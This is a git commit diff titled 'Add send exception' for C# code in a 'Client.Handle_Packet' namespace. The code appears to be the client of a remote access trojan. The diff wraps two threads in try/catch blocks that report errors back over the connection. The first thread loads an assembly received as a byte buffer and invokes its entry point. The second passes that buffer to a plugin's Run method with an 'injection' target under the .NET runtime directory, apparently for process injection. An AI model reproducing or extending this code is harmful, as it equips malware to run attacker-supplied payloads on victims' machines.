Add send exception
This commit is contained in:
parent
cd7846fabe
commit
8b0cb0c5f3
@ -38,6 +38,8 @@ namespace Client.Handle_Packet
|
|||||||
if (injection.Length == 0)
|
if (injection.Length == 0)
|
||||||
{
|
{
|
||||||
new Thread(delegate ()
|
new Thread(delegate ()
|
||||||
|
{
|
||||||
|
try
|
||||||
{
|
{
|
||||||
Assembly loader = Assembly.Load(buffer);
|
Assembly loader = Assembly.Load(buffer);
|
||||||
object[] parm = null;
|
object[] parm = null;
|
||||||
@ -46,6 +48,11 @@ namespace Client.Handle_Packet
|
|||||||
parm = new object[] { new string[] { null } };
|
parm = new object[] { new string[] { null } };
|
||||||
}
|
}
|
||||||
loader.EntryPoint.Invoke(null, parm);
|
loader.EntryPoint.Invoke(null, parm);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Packet.Error(ex);
|
||||||
|
}
|
||||||
})
|
})
|
||||||
{ IsBackground = true }.Start();
|
{ IsBackground = true }.Start();
|
||||||
|
|
||||||
@ -53,10 +60,17 @@ namespace Client.Handle_Packet
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
new Thread(delegate ()
|
new Thread(delegate ()
|
||||||
|
{
|
||||||
|
try
|
||||||
{
|
{
|
||||||
Assembly loader = Assembly.Load(plugin);
|
Assembly loader = Assembly.Load(plugin);
|
||||||
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
|
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
|
||||||
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
|
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Packet.Error(ex);
|
||||||
|
}
|
||||||
})
|
})
|
||||||
{ IsBackground = true }.Start();
|
{ IsBackground = true }.Start();
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user